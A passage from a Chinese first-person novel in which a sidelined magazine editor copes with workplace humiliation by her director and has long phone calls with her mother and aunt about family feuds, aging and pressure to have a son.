“行。大年三十儿我带着宝宝去我爸妈那,我爸妈要给她点零花钱。大年初一,我带着宝宝去拜年,我爸妈再给宝宝一点压岁钱。” “行。你带着宝宝去,你把宝宝看好了。”我说。 “嗯。” 第二天,我跟我妈妈打电话说:“妈妈,俺老公公,这个死老头儿,可不是东西了。他老是碰我的手。昨天,我带着宝宝去挂水。他又碰我的手了。我整个左手面子都在他手里。” 我妈妈说:“嗯。装不懂。” 我没好气地说:“装不懂干什么的!我跟他明说!明说了不要脸再犯,我就跟他吵!跟他闹!这样的骚公鸡都是不要脸。你越是不吭声儿,他越是变本加厉。” 我妈妈说:“嗯。是的。” 我说:“昨天,我当着输液室里那么多人直接跟他翻脸了!我跟他撕破脸了。我准备好了,他吵我就跟他吵!他骂我就跟他骂!他打我就跟他打。妈!你怎么这样的的?你真是老了!你以前性格不是这样的?” 我妈妈说:“我本来就是老了嘛。” 年后,开工了。杜社长给我们开会。 “假期里,我看到大家的朋友圈,很多人都在旅游。这很好嘛,就应该这样嘛。人不要活地太累,我看到活地很累的人我就头疼!大家在工作之余,要懂得适度放松自己。旅旅游,到处走走,开拓开拓视野,增长增长见识。你看那些经常旅游的人,跟那些没见过世面的人,那气质就是不一样。就像城里人跟农村人站在一起,一眼就能看出来谁是城里人,谁是农村人。城里人,说话做事落落大方。农村人,连话都不敢说,说也说不好。成长的环境不同。小姐就是小姐,丫鬟就是丫鬟。新的一年,我们还是要加油干。当然,有时候,喂养的猫猫综合素质确实太差,喂养起来确实是很吃力,怎么都养不好。但是,我们要像哪吒一样,不畏惧别人的眼光,我命由天不由我!” “我命由我不由天!”台下的那群年轻的小姑娘喊道。 “哦。呵呵!我没看过这个电影。我也只是看了看相关的评论文章。哪吒说的好啊,我命由天不由我。”杜社长说。 “我命由我不由天!”台下的那群年轻的小姑娘又喊道。 “哦,我命由我不由天。”杜社长说,“我们要不比报酬比奉献。不要干点活就抱怨。有的人就是爱抱怨,这样的人我们要远离他,把他孤立起来。” 这天上午,我刚到图书室不久,就听见门口儿那儿有动静,我以为是谁来逛逛的。就没吭声儿。 “小宋啊!”我听出来是杜社长的声音。 “哎哟!”我赶紧从座位上弹起来,“是您啊!杜社长!原来是您大驾光临!有失远迎!” “你最近怎么样?”他温和地问我。 “哎呀,我最近好地很呐。您真是慧眼识英才!我太适合这儿了。我在这儿安安静静地看看书,晒晒太阳,实在是太香了。赛过活神仙啊。”我灿烂地笑着说。 “是呀!这儿那么多书!你在这儿看看书,既能提高修养,又能陶冶情操。多好!”杜社长也得意地笑着说。 我赶紧接着说:“是的!跟闭关修炼似的!益寿延年!实不相瞒,我已经修炼地仙风道骨了!” 杜社长开心地笑了。 “你这个白头发越来越多了嘛。”他说。 “我从小头发就是黄的。生小孩儿以后,操心、熬夜。老公又懒,感情也不好。没有心思捯饬了。”我说。 他看看桌上,桌上是我的家伙事儿: 一台旧电脑,一本蓝色封面的有些古董的周作人的书,一个透明的玻璃杯。 他一时好像也有点儿被我的清苦给震撼到了。 他若有所思地说:“宋编辑蛮爱看书的。” “是的。我本来就是皓首穷经的人,让我去养猫,我还真的不太习惯。”我说。 “就是的。在这儿多好啊,干嘛到一线去,何必呐。”他说。 我说:“是的呢,人家都说你照顾我,人家见了我,都跟我说,‘你看,杜社长对你多好啊。你不用干活儿。图书室这个地方,是多少人梦寐以求的,很多人托关系想来都来不了呢。’” “是的啊,你说说,别人想托关系进来,还进不来呢。”杜社长满意地说。 “她们还说,这个地方是社长夫人才能来的地方。”我说。 杜社长哈哈大笑:“你是社长妹妹!” “宋编辑还想回《小坛》吗?交流时间不是三年吗?”杜社长问我。 我没有正面跟他说“想”还是“不想”。我的内心也不知道是“想”还是“不想”。 我就跟他说:“我要是有那个本事回去,人家就不会让我出来了。” “你要是有什么需要就跟我们说。”杜社长低头沉思说。 “谢谢杜社长。我现在就顺其自然。”我说。 “好!那你忙。我回去了。”他说。 “好的。杜社长!您慢走哈!”我把杜社长送出了图书室。 我把杜社长送出了图书室的门。外面,传来一阵有节奏的声音:“我们都是小青蛙,呱呱呱呱呱!我们都是小鸡鸡,叽叽叽叽叽!” 回到图书室,我继续敲打我的键盘。我手下的键盘上被染红了。我抬起我的右手一看。我的右手的食指因为裂口子,现在冒出了红红的血滴子。我坚持着又敲打了几下。等我想起来,从左边的兜里掏出纸来想擦一下的时候,这才发现,那冒出来的血滴子已经凝血结疤了。那些血滴子沾在键盘上,像是漏油的红色的圆珠笔头戳过的一样。 我捂着手机跟春霞打电话说:“春霞姐,今天杜社长来图书馆了。他这个人说话特别软,做事特别狠辣。他每次打击完我以后,他就来看看我。” “当然了,来看看你的反应。”春霞姐说。 “我这次没有愁眉苦脸,也没有哭哭啼啼。我全程笑着感谢他。没办法。姐姐。被人家打压贬低了,还得跟人家陪笑脸,还得感谢人家,赞美人家。没办法,不这样,人家把你踩地更厉害。我现在不是在人家手心儿里吗?跟人家卑躬屈膝的,好为自己争取苟延残喘的机会。人家好不会一刀把你给杀死。”我捂着手机小声儿地说。 “对的!对的!你再跟他申诉也没有用。”春霞说。 “他问我想不想回《小坛》,我觉得他是在试探我。我没有正面回答。后来他说,如果我有什么事,就跟他说。我还蛮感激他的。”我说。 “感激个屁。他是觉得你一时不跟他叽歪了,不是不安定因素了。他是故意来安抚你的。他也怕你做出过激的举动影响他的声誉和仕途。前几天不是有一个女的,被领导逼地在单位里自杀了吗?” “是的。我也看到那个新闻了。才47岁,还那么年轻。”我说。 “是的,才47岁,留下孩子家人,多可怜啊。”她说。 “呵呵!有的人坐的是火箭,有的人坐的是加强版的飞机,有的人乘的是强化版的高铁,有的人骑着个锈迹斑斑的自行车,有的人没有任何工具还拖着个麻袋。最后,他们非要这些人跑地一样快。他们说坐火箭的第一,坐飞机的第二,乘高铁的第三。拖着麻袋根本走不动的倒数第一,推着个破自行车半路上掉链子的,倒数第二。这根本就是不讲道理嘛。”我说。 “是的。明目张胆地不讲道理。”春霞姐说。 “不讲理,心黑皮厚,失明失聪。”我说,“人类和动物的区别就是讲个道理。如果人不讲理了,那和动物有什么区别。” “这个世界有太多的不讲理了。” 春霞姐说。 “所以她被逼无奈,选择离开这个世界。”我说,“这个世界多美好啊,都是被那些不讲理的人害的。他们害死了她,也害了这个世界。给这个世界抹黑的是他们。” “唉!那个女的奉献了一辈子,还有几年就要退休了,就这样死了。”春霞说。 “谁好端端的想离开这个世界。都是他们逼的。他们把一个好端端的人给活生生地逼死了!他们害死了一条命!刽子手!”我说,“她就这样白白地死了,什么也没有说。你说呀。谁把你给逼死的,你说啊。你怎么不说啊?你就这样白白地死了。人家就说你是猝死是意外。管人家什么事。” “她在单位里死就是对单位的反抗。人家肯定要追究她领导的责任的。”春霞说。 “怎么追究?她自己什么都没说。她除了死,什么都没有做。”我说。 “是的。她应该做点对自己有价值的事的。人啊,也是没办法。就是一时想不开。说死就死了。”春霞姐说。 “像我这样的,都是脸皮够厚,心理够强大的。否则早就活不下去了。他们等于变相地把我给杀了。杜涉把我杀了一次又一次,一回又一回。我现在就是被他们给杀死过几次的人。是我自己救了我自己,是我自己让自己重生了。” “是的,你很坚强。谁被这样对待都受不了。何况你是在产后呢。”春霞说。 “那时候,我生完孩子才一年,还有些产后抑郁呢。他们就毫不留情地把我给发配走了。那时候,我要是想不开,说死也就死了。我到了《喵一生》,他们继续打压我,否定我,他们把我当成没用的老废物。他们肚子里有几滴墨水?他们是什么学历?他们哪个有我读的书多?我是被《小坛》给发配来的?他们这辈子想进《小坛》都没资格!他们自己不行就来说我不行!他们这样打压我,是不是怕我骨子里根本就瞧不起他们?他们内囊空虚,明知道他们不如我,所以才拼命地来打压我的?他们猜的没错儿!我就是瞧不上他们!他们除了抬高自己打压别人,他们还有什么本事!” 我说。 “对的对的!他们自己肚子里没什么墨水,他们就知道怎么整人。” 春霞姐说。 “他们自己没文化,他们就打压有文化的,他们就说有文化不一定是优秀的。他们只知道打压我、踩踏我、他们朝我脸上撒屎撒尿。我在他们几次三番的践踏下没了脸,脱了毛。我被他们欺凌的像狗一样摇尾乞怜。他们以为我无力回天一蹶不振了。他们不知道,在他们扼杀我的时候,我的剑也已经张开了。他们有多伤天害理,我的剑就有多锋利。” “是的,如果没有才华没有梦想,的确会这样。”春霞姐说。 “哼!他们别忘了,我是一个农民!我是山东人!山东的农民见过很多山,不是这些蠹虫的三瓜俩枣就可以给压制地死的。山东的农民爬过很多高岗儿,不是这些蠹虫的几个雕虫小技就能给吓趴下的。山东的农民从小就破出了命来活。你越是压制我刁难我,我反而活地更有力量了!他们把我当成蠢货!哼!终有一天,我会让他们知道,那些把我当成蠢货的人才是真正的蠢货!一个个的庸才!蠢货!早晚我会让他们在我面前低下头来!”我说。 “是的,小宋。人不可以无傲气,但不可以无傲骨。好好干吧!干起来!是金子总会发光的。” “是金子必须发光,因为有的人眼睛是瞎的!”我说。 我站起身来,往书架走去。书架上,不知道是谁,把一个格子里头的书给碰倒了。我踮起脚尖来,把那些倒下的书给扶了起来。心里想着,杜社长还是不错的。他只是把我发配到这儿,他也并没有再难为我。譬如,让我每天都要用拖把,把这偌大的图书室都拖一遍。譬如,找一个借口,让我把东边架上的书挪到西边,再让我把西边架上的书给挪回到东边。 我这样想着,突然听到轻轻地擦着地板的声音到了我的耳边。我一转头,妈呀!一对身穿白衣,身披长发的女人双双来到了我的面前。她们齐刷刷地木然地看着我。在这阴晦的天,距我有一米之远。她们要是再向前漂一步,我感觉我就要念太上老君急急如律令,茅山道士在此了。 “这儿可以借书吗?”她们问我。我只看见她们通体的白,并不知道声音是从谁的嘴里发出来。她们两个双双穿着白色,并不是一黑一白,手里也并没有拿着什么棍子和绳索。 “可以。”我说,“登记一下就行了。你们自便吧。” 我说着就去自己的位子那儿开始我的敲打。 我看见她们其中的一个手里拿着一本书,她看了看书,走到我跟前来。我停下手里的敲打。 “这里还是有味儿。”她说。 “是的,现在天冷,又不开窗户。”我说,“我都习惯了。” “这些书有什么好看的。”她把手里的书翻了几页,“我一点都看不下去。” “这是海子的诗,可以看的。”我说。 “你看过?”她问。 “我没怎么看过。但是我知道他这么个人。‘面朝大海,春暖花开’嘛。”我说。 “你看,都写地什么呀?”她又翻了一下那书。 我低头看了一眼,那是海子的:《日光》 “梨花 在土墙上滑动 牛铎声声 大婶拉过两个小堂弟 站在我面前 像两节黑炭 日光其实很强 一种万物生长的鞭子和血!” “这诗写地蛮好的。”我说。 “看不下去。”她说。 “诗歌嘛,是要靠想象的。”我说,“你是哪个组的?” “我是信息组的。”她说。 “怪不得。要是我看你们那些代码我也看不下去。”我说。 “你平时上班都干什么啊?摸鱼?”她问我。 “是的。”我说,“摸摸鱼,织织毛衣。” “也是的。这儿这么无聊,不摸鱼干什么呢。”她说。 “是的,我就混混日子。”我说。 “走了!太无聊了。”她们说着走了。我看着她们的背影,坐下,又开始我噼里啪啦地敲打。 51. 大姨的电话、妈妈的电话 1.大姨的电话 第二天,我坐在位子上敲打着我的键盘。我低头把玩了一下手机,我看到手机里有一个未接电话。周玉颜。是我大姨!我赶紧给她打过去。 “喂!大姨!你找我有事儿吗?” “你上班儿的?外甥女。我就想问问你。恁妈妈去你那儿了吗?小笑笑给我打电话,说的,联系不上恁妈妈了。她问我,恁妈妈来山东了吗?我没看到她哦。我一听说,恁妈妈找不到了,我吓得一身凉汗。她年纪大了,我怕她走迷了,别找不到了。恁妈妈哟,一辈子没过过一天好日子。她连半天的好日子都没过过。” “俺妈妈没来我这哦。大姨。你说,她能去哪儿啊?” “刚才恁二姨来电话了。恁妈妈去恁二姨家了。恁妈妈来山东迁户口了。她迁了户口,能领不少养老钱。” “啊?现在老年人还可以领养老钱啊。真好!” “外甥女,养老不光得有钱,还得有人儿。你自己心里可要有数儿哈。你以后再生个小男孩儿。” “大姨,我不生了,我就养一个小孩儿。” “你到老了就知道了,还是儿好。你等到老了,别说到我这个年纪,你到五六十岁,你就知道了。一墙难挡百面风,一面墙只能挡一面的风,东西南北的风它挡不住。一人没有百人面。多一个人多一个人的帮手,想办什么事儿的话,多一个人,就多一个人的面子。一人难挑两人担。你一个人能挑五十斤,要是挑一百斤呢,你累不累啊?要是多一个人一块儿挑呢?一龙难搅百江水,虎登千山总有乏。人家有儿的到老了,儿孙一大群,你一个小丫头儿出了门子,你家里就剩下老两口儿了。上回俺那个嫂子她家小丫头儿出门子,老两口子哭了三四天。” “我都四十多了。年龄也大了。大姨。”我说。 “你四十多了怕什么?我都七十六了,我还到处打听着想讨个小孩儿喂喂来。我都打听到天边儿了。我没打听到的。恁姥娘就是四十三岁生的恁小舅。你等四十三那年你再生,你挑个单月儿单日子儿有喜,你怀的就是小男孩儿。” “生那么多干嘛。养一个都累死了。大姨。” “外甥女,你是怎么想的,我都知道。年头儿赶的。都不想生孩子了。都想着有几个钱儿,自己花花。等老了就进养老院。等你老了就知道了,你老了,光有钱有什么用,谁来伺候你啊。” “我是为孩子考虑的,大姨。我自己没那个本事。生多了,孩子跟着我受苦。你那时候自己拉扯着两个小孩儿怎么过的。所以你那时候在夜里哭,我特别能理解你。我养一个都要崩溃了,你自己养两个,你是怎么过的。咱都是一辈子没被好好疼过的。我就想好好疼这一个小孩儿。不想让她吃我小时候吃的苦。”我说。 “小孩儿有小孩儿的命。小孩儿有小孩儿的福。我那时候,自己带着两个小孩儿。我给人家算命。大门开着,把恁姥娘的两个鹅给放出去了。恁姥娘骂了我三天三夜。我想去上吊的。我搁枣树上系了绳子,俺就是不会系死扣儿哦。俺那个小丫头儿搁铺上蹬着小腿儿哇哇地哭,我又去把她抱起来,去给她冲奶粉。我抱着孩子,一不注意把暖壶给踢倒了,买暖壶吧,买不起奶粉。买奶粉吧,买不起暖壶。没有办法,我逮了一个鹅去卖了,买了一个暖壶。卖奶粉的俺大哥跟我说,‘大妹妹,我给你两包奶粉,再给你两包白糖,你什么时候有了钱,你什么时候再给我。’我就这样,还不是熬过来了吗?年轻吃苦不叫苦,老了吃苦才叫苦。我到处劝人家生孩子。人家俺那个侄女儿一开始也是不想生,后来,我帮着她使个方儿,生个小男孩儿,到现在,她一满家子都感激我。都知我的情。” “是的。大姨。你这也是积德行善。你顾着娘家,顾着兄弟姊妹。你可得多活二百年。” “恁妗子她娘扒垃圾桶,扒出来喂狗的东西,都让恁妗子送来给我喂狗。人家恁妗子她娘说的。恁家多亏了恁大姐,人家跟个老的似的,什么事儿都出头露面的帮恁。” “是的,大姨。我是小孩儿小,自己过地也不好。我都三四年没回娘家了。我以前真的想过。要是我有本事的话,我就把你接过来养着。我天天跟着你,听你拉呱儿。我可佩服你了大姨。你一辈子可为娘家做了贡献了。”我说。 “你接我我也走不了。到处都有人要请我。天南海北的都有人要请我去。我走不开。我还有恁四姨来。”大姨说。 “我跟你说实话吧,大姨,这件事我都没跟俺妈妈说。”我捂着嘴小声地跟她说,“我现在工作上也难过。我一个外地的,被领导欺负的。你知道俺老公干了什么事儿吧?俺领导打压我,他就把俺领导给举报了。你说我在这儿还能蹲地下去吗?好在我的工作稳定,领导不能开除我,否则人家早就把我给除了。” “娘呀,恁老公公怎么能干这事儿的?真是个七叶子啊。”大姨说,“这不就是个憨子吗?” “不是俺老公公,是俺老公!俺丈夫!”我说。 “我的个娘啊。这个小矮骡子,真是个七叶子啊。”大姨说。 “就是的,他们一家子都是七叶子。你说,在这个家里我是怎么过的。我还给他们家生吧?我生了一个我都后悔了。”我说。 “我给恁说,恁大姐。小孩儿是给自己生的。不是给他们生的。到以后,他们都老的老,死的死了。你有小孩儿,小孩儿能给你养老。人不能磕倒就死吧。你到睡着不能动的那天,谁来伺候你啊?一个小孩儿管什么乎?她能天天伺候你吧?她得上班儿吧。你多养一个,多一个人伺候你。”大姨说。 “行,我知道了,大姨。你也是为了我好。就是我吧,小孩儿也小,工作也难,没有办法去看你。我好好地努力,等我有钱了,我就把你接过来。你不知道我现在都满头白发了。”我说。 “行。外甥女,没事儿。等小孩儿大了就好了。我不要你管。咱娘俩儿说说话儿就蛮好的。”大姨说。 “大姨,今天我跟你说的事儿,我都没跟俺妈妈说。她年纪大了,也没有什么本事,头脑也不好了,也弄不清是怎么一回事儿。她知道了也只能担心我。还有,只要俺妈妈知道了,鸿雁跟笑笑就会知道。他们不仅不会同情我,他们还得笑话我。人家从小就是对我不服气,都是互相攀比的。人家笑笑到现在还是觉得我不如她,她孩子多,她有小男孩儿,我没有小男孩儿。姊妹!咱都是老大,咱都是顾着小姊妹的。人家可不是这样想的!”我说。 “你放心,大姐!只要你自己不说,我一个字不会说出去的!”大姨说。 “那我去吃饭去了,大姨。”我说。 “行,外甥女,你去吃饭去吧。”大姨说。 我站在窗口打饭,听到身后有人在喊: “今天是情人节,你们都有情人吗?谁有情人的话,今天食堂的饭菜免费!是情人的话可以免费去窗口儿打饭了!”食堂里传来“哈哈”的笑声。我听出来了,是毛学望。 “哦!都没有啊!今天晚上回去就有了!大家记得明天把情人带过来!” 食堂里又传来“哈哈”的笑声。 吃饭时最恶心的事情就是一个自以为是的油腻男人的声音回荡在你的耳边。我端起餐盘走到了隔壁去吃饭。 回到家,我在厨房里忙着洗菜,我妹妹给我发信息说:“大姐,我今天去咱妈妈家了。咱妈让我跟你说。你以后不要理咱大姨。不要跟她多说什么,她打电话你也不要接。” 我说:“好的,知道了小妹。”我说完赶紧继续去洗菜、烧菜。 等我上班的时候,我跟我妈妈打电话说:“妈妈,你搁哪啊?” 我妈妈说:“我搁家。天冷,我现在没什么事儿。” 我说:“妈,我好长时间没跟你打电话了。现在我一回到家就忙家务,小孩儿吧,现在就跟俺小妹家的乐乐一样,我一打电话,她就来捣蛋。老太太看到我打电话吧,她还不乐意。有她搁跟前,我打电话也不方便。上班的时候吧,这儿到处都是监控。也是不方便。” 我妈妈说:“没事儿,只要你过地好就行。打不打电话的那还不是无所谓吗?” 我说:“我现在上班的,我长话短说哈。你怎么让俺小妹跟我说,让我不要理俺大姨的?俺大姨不是蛮好的嘛。” 我妈妈说:“恁大姨这个人太坏了。她不干正事儿。” 我说:“俺大姨怎么坏的?你以前不是说,多亏了俺大姨帮咱吗?” 我妈妈说:“她怎么帮地咱?十几年了,我让她给鸿雁说媳妇,她一个也没说成。再说了,成不成,在乎两个小孩儿各人是吧。恁大姨呢,说是给鸿雁介绍对象,她连一个都没给咱真正介绍过。她要是指一下,说,南大路上走路的那个小妮儿就是她给鸿雁介绍的对象,我都算是她给咱帮忙了。她净干坑人的事儿。她今天让鸿雁去山东,说是她给咱介绍了。鸿雁到了她那,她不是有事儿要去忙了,就是找不到人家小女孩儿的电话号码了。反正是你见不到人家女方的人儿。上回,疫情期间,她非让鸿雁去相亲。鸿雁去了,结果封路,不让下高速,鸿雁直接当天打来回。在路上开了十几个小时。” 我说:“这件事儿我记得特别清楚。我当时不是打电话熊你了吗?你当时还觉不着。” 我妈妈说:“我当时没觉着,后来觉着了。我在电话里把恁大姨骂了一顿。鸿雁不想去,你非让他去。十几个小时,疲劳驾驶,你拿俺儿太不当回事儿了。” 我说:“我今天还跟俺大姨说的。俺大姨这一辈子为娘家,为小姊妹,可做了贡献了。” 我妈妈说:“她做了贡献了?她一点不想让旁人好,她都是拿旁人当傻子,她一点儿不给你干实事儿,她光折腾你,还让你领她的情。这都十几年了,她搁外头认识那么多人,她要是真想给鸿雁说个媳妇,那还不简单吗?她说成过吗?她就会吹牛。” 我说:“俺大姨说的,她都是一片忠心,想为咱好的。” 我妈妈说:“她那是江湖嘴,她跟个狐狸一样,嘴里痕着鸡毛的,你可不要信她的那一套。她想让谁好?别的不说,就恁小舅,又添了一个小男孩儿。把她气地生了好几天的气。” 我说:“俺小舅生男孩儿,俺大姨生什么气的?” 我妈妈说:“人家恁小舅又添了小男孩儿了,人家两个了。她就一个,她能乐意吗?嫉妒心太强了她。” 我说:“就是的。谁好都不如亲娘好。俺大姨那么有本事,她把她自己的儿子工作给安排地好好的,她也没给俺小弟安排个工作。俺小弟要是有个好工作,媳妇还愁吗?我还记得小时候去俺姥娘家。俺大姨烧了鸡给她小孩儿吃,她自己也拿着鸡骨头啃,边啃边跟我说你的坏话。就是舍不得给我吃一点儿。我当时就想,还是自己亲娘好。要是俺妈妈,能不给我吃吗?” 我妈妈说:“我现在是被她给伤透了。我是一点儿都不喜欢恁大姨。” 我说:“我能理解。你以前都是说俺大姨好的,现在那么讨厌她,肯定是被她伤透了。就跟我对俺老婆婆似的。咱家人都实诚。都不知道人家肚子里的坏水,一旦识破了,谁说也没有用了。这个外人体会不到。” 我妈妈说:“咱家人就是实诚,才不知道她肚子里卖的坏水的。我每次去山东我能亏了她吗?我给她带这带那的,我拍她的马屁。我还跟她这样说的。‘大姐,等咱父母老的百年之后,我还是来看你。’谁知道她是忽悠咱的。她光来回折腾咱,她不给你办实事儿。这回,就算她干地好事儿,我也得先想想,她是不是干的坏事儿。” 我说:“是的。我对俺老婆婆就是这样的。她老是想耍心眼子坑人,我都被她骗怕了。她就是没坑我,我也以为她是坏心眼子坑人的。所以,人不能老想着怎么坑人,否则,到最后是把自己给坑了,因为人家不相信她了。” 我妈妈说:“我现在提起恁大姨我就头疼,我对她是一点儿好感都没有。” 我说:“我能理解。咱家人都实诚。我那天还给俺大姨说的。我以前真那么想过。我跟俺大姨说,我是没本事。要是我哪天有钱了,我就把俺大姨接过来给她养老。我也是光是嘴上说的,你看看我现在过的,自己的亲娘都三四年没去看过了。妈,我今年夏天,想带着小孩儿去看看你去。” 我妈妈说:“你不要来了。你带着小孩儿来了,小孩儿跟着受屈。大人怎样都无所谓。” 我说:“妈,我跟你说哈,我之前想过,想带着俺老婆婆去的,让她帮着照顾小孩儿。你说,能让她去吧?” 我妈妈说:“不能让她来。她来了,看见咱家这样,她回去败坏你,她会看不起你的。” 我说:“是的哈,我现在跟她面前理直气壮的,别等她到了咱家看到咱家那么穷,她看不起我,我以后跟她吵架,就没那么有底气了。那这样吧。等我去的时候,你去火车站接我一下。等晚上住的时候,你去跟我一块住,帮我照顾一下小孩儿。” 我妈妈说:“这个行!你到时候来的时候,不行我让恁凡贵儿大娘家的恁二哥去接你去。” 我说:“妈,俺二大娘还好吗?” 我妈妈说:“恁二大娘死了。二月二那天死的。” 我说:“天呢。俺二大娘走了?你失去一个好朋友喽。” 我妈妈说:“恁二大娘也年纪大了,都□□老十了。我都要七十了。你是不知道,恁二大娘死地可享福了。头天晚上,我还搁她家看电视,她还让我剥长果吃。过了一会儿,她去睡觉了,我也走了。过了一会儿,等恁二哥去喊她,她不答应了。恁二哥这才知道他娘走了。” 我说:“是的。我小时候搁家里,二大娘去咱家找你玩儿。那时候,她就有七十多了。俺二大娘长得白白胖胖,笑嘻嘻地,跟个老寿星似的。” 我妈妈说:“恁二大娘这算是长寿的。她年轻的时候受地委屈大。” 我说:“妈,你说说,这些年我搁外边儿,都不怎么回家,就光听你说,这个老了,那个老了。” 我妈妈说:“人都是这样,跟庄稼样,一茬儿茬儿的。甜蜜他爹也死了。” 我说:“甜蜜的爹死了啊?他老了,是该死了。就是撇下一窝子小孩怎么办,可怜吧。” 我妈妈说:“一窝子小孩也长大了。都跟着甜蜜一块儿打工。” 我说:“妈呀,甜蜜被赘着,更找不着老婆了。” 我妈妈说:“甜蜜早就结婚了!” 我说:“甜蜜结婚了?” 我妈妈说:“啊!人家甜蜜孩子都多大了。这回家来,人家把家里的当院子给平平,收拾收拾。” 我说:“天呐!看来结不结婚也不全在家庭环境。” 我妈妈说:“就是说的啊!你看甜蜜人家爹那么大年纪了,还给他生了两个小弟小妹,他娘又不管乎。谁扶持他啊。人家还不是结婚了。恁小弟还天天怪这个怪那个,怪家庭背景。” 我说:“甜蜜的妈妈呢?老头儿死了,她怎么办?” “甜蜜他娘跑了。”我妈妈说。 “跑了?”我问。 “跑了!”我妈妈说。 “跑了就跑了吧!早就该跑的!她早跑了就好了。找个跟她年龄相仿的男人,过几天正常人的日子。”我说。 我一个人在图书室里,把电脑敲地震天响。下班了,我锁上门儿出去。楼下,不知道是谁家的孩子,傻傻地大声地叫着:“哈哈哈哈!我好聪明啊!我好聪明啊!哈哈哈哈!”那声音像是春天里的溪水,又像是从我自己心里头发出来的声音,一时间,我也变得快乐和振奋。 我走着走着,身后传来两个女人的声音:“我妈说的……哈哈哈哈!” “哈哈哈哈!”她们笑地那么开心,她们的笑声像是电波一样,流过我这庸俗的中年妇女的脊梁。 我骑上电动车,路上,不知道是谁撞死的一只小鸟的尸体。我停下来,转过头去,想把那小鸟的尸体给踢到路边去。可是我的身后,一辆接一辆的小汽车开过来了。我只好作罢。算了吧,那只小鸟是已经死了。它的灵魂已经到了天堂。就让它尸陈当街,让那些自以为文明的人类看看他们的粗野与残忍。 前头,一辆带着孩子的母亲的电动车,像是一条小鱼一样,在汽车的海洋里飘荡。一辆汽车像鲨鱼一样从左边儿斜着朝她撞过来,她像一条机灵的小鱼,抖一下尾鳍,一个右转身儿,顺着汹涌的巨浪,从那鲨鱼嘴边儿溜走了。 我看看路旁的一排排的店铺,这世界现实的令人发指,我那点可笑的梦想被现实挤压地屁都不是。可是这屁大的一点儿梦想还是给了我无限美好的幻想,至少,也给了我的灵魂以莫大的滋养。我像是一粒种子被死死地摁进了土里,我必须使劲儿往上窜,向上向前,为自己拱出一片天。 夜里,我又做梦了。梦,我怎么那么多梦。我梦见了李东,一路上,我跟他一起走过沟沟坎坎,他始终走在我前面。我遇到了陡坡的时候,他就站在那陡坡上头,拉也不拉我一把。他看着我自己艰难地往上爬。我们到了地方,看见了海梦,他正坐在正堂屋里冲着门儿在吃饭。他看见了我,把饭菜推到我跟前给我吃。“这才是我哥。”我说。 我梦见一群妇女过来了。里面有一个是程云。她老了,变地尖嘴猴腮了。她的脸像是一个干瘪掉的柿子,皱纹深深地印了她满腮满脸。 她跟我说:“我不理你是有原因的。” 我说:“你别说了,你看你老的,尖嘴猴腮地。” 她说:“我就是觉得我老了,才不去理你的。” 我一把从身后抱住她,哭了起来。我怎么能怨恨她呢,她是陪我走过最艰难路程的人呐。我怎么能怨恨她,她可是曾经最疼爱我的人啊。 我哭着醒来。身边是幼小的婴孩。我擦擦眼泪,把她踢掉的被子给盖了起来。 一天,我正在敲打着键盘,我大姨打了电话来了。 我说:“大姨,你给我打电话的?你有什么事儿吗?” 大姨说:“你在忙的外甥女?你现在能接电话吧?” 我说:“没事儿,你说吧大姨。” 大姨说:“我想起来一件事儿哈。恁妈妈,这几回我看着比以前呆了的?她不是得了憨病了吧?” 我说:“是的,大姨。笑笑也早就跟我说过,她也说俺妈比以前呆了,跟她说话,她就‘嗯’‘嗯’,不怎么说话。” 大姨说:“恁妈妈以前哪是这样的。她以前口齿伶俐的,什么‘红刀子进去白刀子出来’。她现在怎么不说话了的?恁妈妈年轻的时候被人打过多少回。在南乡的时候,被人家姓凡的打,有一回姓凡的把恁妈妈打地浑身是血,鸿雁跟笑笑跪着求人家。‘求求恁!’‘恁别打俺妈妈了!’‘恁别打俺妈妈了!’你那时候在外边儿上学,这些事儿都不敢跟你说,怕影响你学习。恁妈妈那后脑勺子被人家打过多少回,一到阴天就头疼。她别是到老了得了憨病了吧。我跟你说,得了憨病得治。我以前就得过一回憨病,我没疼钱,我去治的,后来治好了。俺一个兄弟,也是得了憨病。陈桥就有专门儿治憨病的医生,他就是去那里治的,后来也治好了。” 我说:“行,大姨。都是你细心。我回问问俺妈。我打算今年夏天就去看看她。我以前想让俺妈来给我带孩子,她不来。我那时候就这样想的,她要是来的话,她有什么毛病,我都能带着给她治治。” 大姨说:“你跟鸿雁恁姊妹几个商量商量。不行,恁姊妹几个给她治治。我没有空儿,不行等我有空儿了我去看看她,我给她几个钱。” 我说:“你不要给钱,大姨。你自己年纪大了,也不容易。你管好你自己。我也不要跟鸿雁商量,要是该看的话,我带俺妈去看。” 大姨说:“那你忙吧,外甥女。你可想着问问恁妈妈哈。” 我说:“行,大姨。” 我跟我妈妈打电话说:“妈,俺大姨今天给我打电话了。俺大姨说的,她看着你不怎么说话儿,她怕你是得了憨病了。你还说俺大姨坏,你看俺大姨多好,人家还想着关心你。” 我妈妈说:“我哪得什么憨病?她是咒我的。你看看,她又跑来现好儿了。你不要信她那一套。” 我说:“人家俺大姨说地也没有错。笑笑早就跟我说过,你不怎么说话,有点呆了。我跟你打电话的时候,你也是的,老是‘嗯’‘嗯’地,不怎么说话。所以我都不爱给你打电话了。我都是跟俺小妹联系。你觉得你头脑还清楚吧?你要不要去检查检查?” 我妈妈说:“我头脑清楚,没事儿。” 我说:“你别跟那些喝酒的人似的,喝醉了还说自己没醉。要不等我去看你的时候,我带你去检查检查吧。” 我妈妈说:“我不要检查,我没事儿。我是怎么回事儿吧。我就是因为恁小弟还没结婚,我搁在心里发愁,压的。” 我说:“你要是这样说,我能理解,我这几年就是这样,日子过得不好,工作压力也大。心里烦闷,压力太大,有时候就是不想说话,人家看着就呆呆的。” 我妈妈说:“跟你说吧,要是恁弟弟结婚了,我当时就好了。” 我说:“我早就想让你来帮我带小孩儿,你不来。我那时候就想着,你要是来的话,我还能孝顺孝顺你,俺家生活儿比你那好多了。你哪里不合适我还能带你去看看。” 我妈妈说:“我不能去,我年纪大了,身体不好。我自己都得人照顾了,我去了只能赘你。你跟恁老婆婆一块儿你都嫌弃恁老婆婆。我要是去了,端午也会嫌弃我的。” 我说:“我看俺老婆婆身体蛮好的嘛。人家那些带孩子的老太太身体都蛮好的。” 我妈妈说:“每个人的身体不一样。我是年轻的时候葬送的。人谁像恁妈哎,一辈子吃糠咽菜,挨打受骂地。” 不知道怎么回事儿,这些日子我有些想念荆堂了。 跟我妈妈打完电话以后,我在百度上输入“荆堂”两个字,只看到关于荆堂的一个简介。 “荆堂村处于山东省临沂市苍山县尚岩镇。空气好,人杰地灵,人勤物丰,友好好客。 